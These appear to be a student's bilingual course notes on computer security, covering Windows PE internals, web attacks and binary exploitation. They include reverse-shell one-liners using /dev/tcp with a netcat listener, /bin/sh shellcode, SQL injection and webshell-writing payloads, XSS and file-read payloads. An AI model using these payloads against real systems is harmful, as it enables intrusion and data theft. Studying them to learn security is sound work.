計算機安全 Week1. Windows Reversing Basic url https://www.youtube.com/watch?v=O8AQwUaTmdI
introduction
section
.rdata: read only data, const, 不會再被修改
.idata: holds the import directory
.data: 可能還會被修改 data, ex: in array
.text: 放程式碼
IMAGE_FILE_HEADER: 用來描述整體的section info
NT_HEADER
Signature
FILE_HEADER(IMAGE_FILE_HEADER)
Optional HEADER
提供更詳細的section info
綠色部分coff file原本就存在,橘色部分為linker補上
create process
parent create: child 被 create 時為空的, 並拿到與 parent 一樣的權限
child process created: os 會先 file map, 並幫你initial
0~400: stack memory
local variable in stack
global data in .text(code), .data(string, global int … ) and .idata
malloc variable in heap
heap 涵蓋 stack+global
TEB(thread environment block), TIB(thread information block): 紀錄thread的執行狀況, 32bit 從FS拿, 64bit 從GS拿
重要block:
ExceptionList(0x00)
StackBase(0x04)
Self(0x18): TEB 的 address
PEB(process environment block) (0x30): 內有ImageBaseAddress 欄位, 指到 PE format 的 base (MZ開頭)
整塊 stack 分給不同的thread, 所以 TEB.StackLimit 所描述的是當前thread所分配到的 stack memory 大小
process hollowing
section base = image_base + section_hdr.virtual_addr
可以將自己的程式碼透過改寫process的memory執行
process running
extry point 為 ImageBase + virtual_addr, 而此 entry point 並非使用者的 main function, 而是 compiler 會先幫我們做的 pre-main, 之後在跳轉到我們寫的 main function
eax register 存 returned value
linker
包裝多個coff file
command
gcc -c file.cpp
: obj file
Week5.6.10. Web Security Basic Website
前端(frontend) : 看的到的, Browser, ex: html, js, css
後端(backend) : 看不到的, Server, ex: apache, php, mysql, nodejs
url
Authority : 主機&port, 機器
Scheme : protocol, ex: http, https
Query : request 的參數
request
method : get, post …
get 參數會在 url
post 參數顯示在 http body
CRLF (Carriage Return and Line Feed) : \r\n
hdr & body 中間還有一個 \r\n
path : 接在 method 的後面
host : request 的 domain
user-agent : 表示 client 的 作業系統&瀏覽器
response
status code : web 的狀態
2XX 正常
3XX 重導向
4XX client壞了
5XX server壞了
常見: 200(正常), 403(forbidden), 404(not found), 500(internal server error)
cookies
web 在 client 留下的 info
彌補 http stateless 的不足
提升用戶體驗
記錄登入資料 ex: session_id
有時 cookies 代表使用者的登入狀態, 若 cookies 被竊取, 則會被偽裝
set-cookies hdr : web 告訴瀏覽器, cookies 必須要 set or update 一下
session & cookies : cookies 存放 session_id(號碼牌), 用session_id 去跟 web(飲料店) 換 session(飲料), session 包含一些使用者資訊
cookie-based session : 直接將 session data 經過加密後放在 cookies (ex: github)
hackerbar
burp suite : 攔截 request 做修改
Recon(reconnaissance)
ip range
open port(service) (nmap)
sub domain
directory / path enumeration (dirsearch) :
fingerprinting (wappalyzer - chrome擴充) : 判斷web框架, 語言與server
server hdr
url route / path
error message(http 4XX, 5XX)
cookies / session
domain enumeration ( https://crt.sh/ )(ps. %為萬用字元)
username / password
source code
url route / file path
config
php
hacker friendly
auto type casting
NULL == 0 => true
NULL < -1 => true
NULL == false => true
"30cm" == 30 => true
"1" + "2" => int(3)
php 科學記號漏洞
if(md($a) == "0e66666666666")
只要找$a使得md($a)為0e開頭, 因為0^x都為0
md5(QNKCDZO) : 0e830400451993494058024219903391
md5(240610708) : 0e462097431906509019562988736854
解法 : 用 ===
php 大括號內的符號當作變數來處理 ex: "{$hello}"
繞過strpos
if(strpos($a, '"')), 當"出現在第一個時會回傳0, if(0)能繞過
直接傳array ex: abc[]=1
file_put_contents(writed file, read file)
double quote evaluation
""內可以塞變數名字 ex: "${phpinfo()}", "$pass"
case insensitive
other
week password
密碼太單純或是預設值沒有改, 容易被force
IDOR(insecure direct object reference)
權限管理不當, 造成使用者可以透過更改前端或是 url 的值去攻擊
Injection
command injection
bypass space
sql injection
Reverse shell 會有兩台主機, 一台是自己的(a), 一台是有漏洞的(對方, b)
在a先開啟一個可以 listen tcp 的 port
nc -lvp <port>
將 reverse shell 的 script 想辦法放在 b, 並執行
bash -i /dev/tcp/<ip>/<port> 0>&1
basc -c 'bash -i &> /dev/tcp/<ip>/<port> 0>&1'
-i : interactive
PS. PCE : Remote Code Execution
File Upload Vulnerability Web分三大類
file-based : ex: /index.php
route-based : /abc
Java-based
我們 focus on file-based web
attack 透過 file upload 的漏洞
defense 錯誤示範
前端防禦 : disable js, use proxy
magic number : 各檔案前面幾個 byte 為特殊的 magic number
構造[image magic number] + [ <?php xxx?>], 不但繞過檢查, 也能執行 php code
黑名單
黑名單 : 判斷副檔名
用其他副檔名來繞過
.htaccess 自訂解析規則 : 上傳 .htaccess 藉此修改解析規則
apache的解析漏洞 : 設定檔中有此行 AddType application/x-httpd-php .php
LFI (local file inclusion)
遍歷檔案, 執行程式碼
常見漏洞函數:
include()
include_once()
require()
require_once()
php wrapper
source code
php://filter/convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=index.php
常見敏感檔案檔
設定檔
proc
RCE trick
session : 將 php code 寫入session, 在 include session (/var/lib/php/sessions/sess_[session_id])
frontend security
SOP (same origin policy)
不同域的客戶端沒辦法讀取彼此的資源
同域 = same protocol + domain_name + port
SOP例外
<script>
<img>
<link>
<iframe>
JsonP (json with padding)
用 script 標籤 去抓 包含function 的 json data
CORS(cross-origin resource sharing)
用 http hdr 去控制跨域請求 : access-control-allow-origin
Crossing site Scripting (XSS) 控制使用者去跑JS, 騙他人去點擊網址
reflected xss
網頁 直接輸出 使用者內容
輸出被當作 html/js 解析
ex: echo $_GET['aa']
stored xss
輸入內容會被 保存在資料庫中
再次訪問時會從資料庫取出
dom xss
dom(document object model) : html 組成的資料結構
ex : eval(location.hash.substring(1))
, url 為 index.html#alert(1)
fragment 不會送到伺服器
more xss payload
xss的應用
blind xss : 盲打
polyglot xss : 用一組 payload 打全部
XSS 防禦 sql injection
檢測型態
target
繞過驗證
撈資料庫內容
tool
union based
news.php?id=-1 union select 1,user(),3
PS. user() 為 mysql 的 function, 回傳當前使用者的帳號
PS. union 左右欄位數必須相同
如何 try 欄位數?
取得資料庫名, 表格名與欄位名 : information_schema (mysql >= 5.0)
資料庫名 : information_schema.schemata
表格名 : information_schema.tables
欄位名 : information_schema.columns
PS. limit 1,1 可以限制撈的資料開始
boolean based
資料庫查詢的資料不會顯示出來(ex 登入介面)
但是能得知 query 成功跟失敗(回傳不同)
time based
不能明顯得知 query 成功跟失敗
改成時間差 ex : if(成功 or 失敗) sleep(1)
error based
out-of-band
將資料往外傳
優點
解決boolean / time based 過慢
不能用 error / union based 時
缺點
dnsbin.zhack.ca
取得系統權限(讀檔, 寫檔 … )
mysql
讀寫檔
load_file('/etc/passwd') (寫檔)
select " <?php phpinfo();?>" INTO OUTFILE "/www/a.php" (讀檔 )
mssql
prevent sql injection : parepare
XXE XML :
用於傳遞資料
HTML元素都為預先定義好的, XML為自定義
DTD(document type definition)
DOCTYPE : DTD聲明
ENTITY : 像是變數
SYSTEM, PUBLIC : 引用外部資源
SYSTEM "file:///etc/passwd" 即為對 /etc/passwd 做請求
參數實體引用要 %abc;
變數實體引用要用 &abc;
建立參數實體 remote (去 url 抓檔案)
引用參數實體, 即為解析<!ENTITY … >, 意思為宣告 b 這個 entity
XXE(XML external entitiy injection) 當XML parser在解析外部實體時, 可根據 url 做查詢 ex : file://, php://
out of band xxe
xxe 沒有 output, 只能透過參數實體傳出
SSRF(server side request forgery)
讓 server 發出請求, access 到內網資源
XSPA(cross-site port attack)
常見於 抓網址
url 預覽
網址上傳
資源引用
常見參數 : url, link, proxy, target, host
特殊挖掘點
XXE
FFMPEG
Database 內建函數
image magick
判斷
HTTP access log : 傳 request 到自己架的 server, 查看 log
DNS log : 看 DNS 伺服器的 log, 擋 HTTP, HTTPS 卻沒擋 DNS 請求
返回內容
cloud metadata service
gopher
很久以前的 protocal, 能構造 tcp 封包, 又稱萬用協議
redis : 一種 key:value 形式的 db, default port: 6739
SET key1 "val1"
常見 : 用 SAVE 指令寫
webshell
ssh key
crontab
php-fpm
dict protocol
DNS rebinding
透過兩次 DNS 解析不一致所達到
xip.io
302 bypass
deserialization serializtion : 把 obj, array 轉成能夠保存, 可傳輸的格式
若 deserializtion 可控, 則可能會造成非預期行為
php
serialize() / unserialize()
因為問題通常發生在 object 格式, deserialization 又稱 object injection
public, protected, private 不同的宣告型態, dese 後的結果也會不一樣
magic methods
PHP
以 __ 開頭的 function ex: __set() / __get() / __isset() / __unset() 等等
系統會在特定時機呼叫這些 functions
POP chain(property oriented programming)
不斷重複使用已存在的程式片段 (通常是 __wakeup(), __destruct())
phar
一種 php 壓縮文件
用 phar:// 存取 phar 文件時, 會對其 metadata 進行 unserialize
任何 文件操作函數 都能觸發
條件
能上傳一個 phar 文件到 server
控制某個文件操作函數的參數
python
stack-based virtual pickle machine
像是跑在一台 stack-based 虛擬機, 直接跑 opcode
java
SSTI (server-side template injection) 常用於 web framework 中, 目的是將使用者介面與資料分離
當模板內容(上圖左上)可控的話, 可以做到 1. 讀寫檔 2. RCE
prototype pollution
js 的 __proto__ => Object.prototype
js 在存取 attribute, 如果當前找不到就往上(__proto__)找, 最後 __proto__ 為 NULL
css injection
import url 撈使用者的 referer
css selector 撈取 html source
web other
dig
(domain information groper) : 用來查詢特定 url 的域名
CNAME (Canonical Name Record) : 用來設定別名 ref
curl -kI <url>
js
tagged template : ``
string template : ${}
<svg/a="123"/onload="alert(1)">
<input type="image" src="" onerror=alert(1)>
: 透過 image 找不到 source 去觸發 onerror
js comment 可以加在 onload 內, 不過要由 '' 包著
ex : onload='/*abc*/alert(1)'
in js, html comment 可以用
special ex : 可以用 html 的 close comment sign --> abc
註解單行
( – > at the start of a line, optionally preceded by whitespace or MultiLineComments, must be treated as a SingleLineComment — equivalent to //.)
\u2028 為 unicode 中的換行, 可以繞過 regex 的 \n\r
toUpperCase()
將字母轉成大寫, 而有些無法對應到字母的 Unicode 則是轉成 最像的 大寫英文字母
如果 function 被 regex 中的 [a-zA-Z] 擋掉, 可以用 Jsfuck 繞掉
jsfuck 為一種另類執行 js 的語言, 可以用 6 個 basic characters 就寫出對應的 js function
在 assign variable 時, 透過 function 跟 operation 可以呼叫到 function
ex : var a = alert(1)in"a"
ex : var data = {"a":"123"(prompt(1))in"."};
當 function 被 filter out 時
可以嘗試輸入 eval(Number(numberEncodingOfFunction).toString.concat())
執行 function. 原理為 eval() 會執行 () 內的程式碼, 而利用數字 toString 以及 concat 組成原來 function, 再利用 eval() 即可執行
eval(numberEncodingOfFunction..toString)(argument) PS double-dot
__proto__
為 js 變數的特性
String.replace()
function 有需多特別的用法
透過 template string, 可以直接在``內用 ${function()} 的方式直接跑 function
只有 function 能夠同時宣告以及初始化
javascript hoisting
function 的參數數量為 function.length
, 利用 function hoisting 以及 overwrite js base function, 可以做XSS
html
DOM Clobbering : 覆蓋掉 DOM element 的 name or id attribute
id 為 global, name document attribute
能透過 name 去覆蓋 document 的內建 function
dobble encoding bypass CSP
../
: %2E%2E%2F (hex encoding)
the encoding of % represent : %25
double encoding of ../
: %252E%252E%252F
html 不允許 tag 內有 comment
url
use @ can fake browser domain
ex : https://facebook.com%2f@google.com
, browser will go to google.com
PS. %2f = /
Week9. Binary Exploitation
又稱打 pwn
Basic knowledge
PIE (position-independent executable ) :
每次執行程式的 basic address 會隨機更改
NX (No-execute), , DB (in windows)
Canary
RELRO (Relocation Read-Only)
初始化的 variable 會放在 .data, 並占空間; 為初始化的 variable 放在 .bss, 不占空間
In x64
8 bytes alignment
stack : 0x10 bytes alignment (為 0x10 的倍數)
asm inst
jmp A
= mov rip, A
call A
= push next _rip; mov rip, A
(所以可以返回)
leave
= mov rsp, rbp; pop rbp
(還原至 caller 的 function frame)
ret
= pop rip
calling convention (呼叫 function 的慣例)
rdi, rsi, rdx, rcx, r8, r9 (stack)
rdi, rsi, r10, rcx, r8, r9 (stack)
rax : store return value
vs x86 (用 stack 傳參數)
stack frame
compiler 幫你加的
function prologue (序幕)
push rbp
mov rbp, rsp
sub rsp , 0x70
function epilogue (結幕)
mov eax, 0x1
leave
ret
invalid memory : segmentation fault
Overflow
覆蓋到 理論上不該被 修改的資料
buffer overflow
stack overflow
heap overflow
使用 overflow 藉此能控制 return address
Canary
Function prologue 時在 stack 上放隨機產生的 8 bytes 在 saved rbp 前, 且第一個 byte 為 NULL
Function epilogue 時會檢查在 stack 上的 canary 跟另一放在其他 segment 的值是否相同 (overflow)
每次 run canary 不同, 同一次固定
發生 overflow 時, canary 會 call 其他 function, 最後程式回傳 *** stack smashing detected ***, 並 abort
從 fs 的某個地方拿 canary 放入 stack, 並 xor rax, rax
清空 rax (in prologue)
最後要 return 時用 xor 檢查是否相同 (in eilogue)
shellcode asm asmbler > machine
構造可以 fork shell 的 machine code
syscall
rax : syscall number
arguments : rdi, rsi, rdx, r10, r8, r9
return value : rax
execve
in c : `execve("/bin/sh", NULL, NULL);
mov rax, 0x68732f6e69622f // "/bin/sh\0"
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
NX
data segment 本就不該執行
code segment 可執行但不可修改
secure computing mode (seccomp)
From wiki :
seccomp allows a process to make a one-way transition into a "secure" state where it cannot make any system calls except exit(), sigreturn(), read() and write() to already-open file descriptors.
ASLR (address space layout randomization) 動態載入時, lib, stack, heap 皆隨機
PIE
可以看成是 ELF code & data section map 到 virtual addr 時的 ALSR
若沒有開啟, 則固定為 0x400000
紀錄在 ELF file
Lazy binding
不一定全部 function 都執行到, 因此當第一次 call lib function 時, 才會去找真正的 lib function 的位置放入 GOT 中, 之後再次呼叫時直接找 GOT
GOT (Global offset table)
為一個 function pointer array, 而初始值為 PLT code 的 address
call function => function@plt => got
=> function@plt+6 (第一次, function@plt 的下一行) => 跳到 .plt => _dl_runtime_resolve_xsave (把 function 真正的 address 填入 GOT)
=> function address (其他) =>
GOTHijackng 因為 lazy binding, 所以 GOT 為可寫, 利用複寫 GOT 改寫 function pointer
ROP (Return oriented programming)
ROP gadget
狹義 : 一個片段可以執行的 code, 並以 ret 結尾 (or j)
用來 handle NX
在既有的執行區域找 gadgets, 並串成 ROP chain
找可以 control register 的 gadget
pop <reg>; ret
想辦法用各種 gadget 串出想要的組合
通常為 static linking (gadget 才多)
可以利用 ROP chain 利用 system 構造出一塊可以執行區域, 再把 shellcode 放上去, 之後跳上去就可以執行
Return to .plt (ret2plt)
handler no PIE & has NX
要串的行為本來就在 binary 中, 可以直接放參數, 然後把 ret 蓋成到 .plt, 藉此去 got call function
ret2libc
bypass ASLR
關鍵為 information leak : 能夠取得 libc segment 的 address
將此 address 減去一 offset, 能得到 base address
目標為 leak 出 function@got 的內容
在透過 靜態分析 看該 function 的 offset
base_addr 後 12bit 為 000
通常會找 __libc_start_main
(比 main 更早執行)
stack pivoting (stack migration) 因為 ROP 的 payload 通常需要很大的空間, 原 stack 可能不夠放, 此時先
將 payload 放在 足夠大的空間
再將 stack 遷移至 ROP payload 的位址
leave; ret
將 rbp 蓋成 ROP chain's addr -8
ret 蓋成 `leave; ret 的 gadget
pop rsp; ret
ret2csu (return to __libc_csu_init) (rop 萬解)
__libc_csu_init 內部有許多控制 reg 的 inst
能控制 rbp, rbx, r12, r13, r14, r15
r13, r14, r15 分別控制前三個參數 rdi, rsi, rdx
r12, rbx 指定任意記憶體位址
將 rbx 設 0, rbp 設 1
heap exploit
environment 很重要
libc 的版本 libc-2.23, libc-2.27
server 的版本 16.04, 18.04
malloc : 動態分配 memory
malloc ==> brk =(< 128KB)=> kernel 給 132KB 的 heap segment(rw), 稱 main arena (大餅乾)
kernel return 給 glibc main arena, 之後在 malloc 時 glibc 再分配給他 (小餅乾)
chunk (小餅乾)
為 malloc 拿到的
size alignment : 0x10 * n
chunk hdr
allocated chunk
malloc 拿到的 pointer 指到 chunk_base + 0x10(hrd) 的 address (避免寫到 hdr)
prev_size/data : 連續記憶體上一塊若為 free chunk , 則為其大小; 若非 free chunk, 則拿來存 data
size : chunk 的大小 (real size 為 0x10 * n, 而後面 4 bit 都固定為 0, 所以拿來當 flag)
PREV_INUSE § : 1 -> 上個 chunk 使用中
IS_MMAPED(M) : 該 chunk 是否為 mmap 出來的
NON_MAIN_ARENA(N) : 該 chunk 是否屬於 main chunlk
free chunk
size : 連續記憶體的下個 P flag 為 0
fd : 同 bin 前一塊 chunk (linked list)
bk : 同 bin 後一塊 chunk (linked list)
top chunk (大餅乾)
bin
回收 free chunk 的 data structure
依據 size 大小分類 (包含 hdr 的 total size)
fast bin : chunk size < 0x90 bytes
再依據更小的 size 劃分為不同的 bin (最大 global_max_fast)
用單向的 linked list 回收 (fd 指前一個)
small bin : chunk size 更大
再依據更小的 size 劃分為不同的 bin
large bin :
unsorted bin :
如果 chunk size 為 fast bin 的範圍, 則直接丟到 fast bin
如果 chunk size 大於 fast bin, 會先 放到 unsorted bin
malloc fast bin size 時, 不會先切 top chunk , 會先去 各 size 的 fast bin 的 linked list 找有無用過的 chunk
如果在 fast bin 沒有, 之後會去 insorted bin 找是否有 size 同的, 若有則回傳; 若只找到 size 更大的, 則切完後將剩下的再放回 unsorted bin (這也就是 unsorted bin 可能會有 fast bin size 的 chunk)
如果都沒有, 則去 top chunk 切
當 trigger 到 malloc_consolidate(), 整理 unsorted bin 後, 把 chunk 丟到 small bin
main_arena 在 lib 的 .bss 段
heap overflow
在 heap 發生的 overflow, 不同的是
UAF (use after free)
free(ptr)後沒有將 ptr 清空(ptr = NULL, 又稱 dangling pointer, 意即指向被釋放後位址的 pointer)
可以用來 information leak
ex double free 可以取得第一個 chunk 的 address (第二個 chunk 的 fd)
free 一個非 fastbin size 的 chunk, 此 chunk free 後會被放入 unsorted bin, 再透過 unsorted bin 的 circular double linked list 的特性利用 fd 去 leak heap base
開 PIE 時, objdump 看到的 address 是 offset
fastbin attack
檢查 double free 時, 只檢查現在 linked list 第一個 chunk 是否等於現在要 free 的 chunk
透過 free(A), free(B), free(A) 繞過
再次 malloc 同 size 時, 會造成 A 同時在 free 跟 allocated
此時可以寫 A, 並將 fd 改掉, 再做第三次 malloc 時, 會直接拿到 fake addr 的位址
constraints
malloc 會檢查 chunk size 正不正確
在 base_chunk_addr + 8 改 size
address alignment weakness
check size 時只取後面 4 byte
後面 4 bit 不會影響
Hooks 若能達到任意寫, hook 是很好的目標
執行相對應的 function 時, 若發現 hook 上有值, 則當作 funciton ptr 跳上去 run
結合 fastbin attack 拿到 hook 附近的 fake chunk, 再做 overwrite
__malloc_hook
__free_hook
__realloc_hook
One gadgets
one gadget 為一 address, 只要跳上來就 get shell
通常搭配 hook 使用, 即是 hook = one_gadget 後, 再次 call function 時就會 get shell
Tcache (per-thread cache)
glibc >= 2.26 後的新機制, 主要為 improve performance
heap overlap 透過偽造 chunk size & 玩弄 malloc free, 達到不同 chunk 發生重疊的情形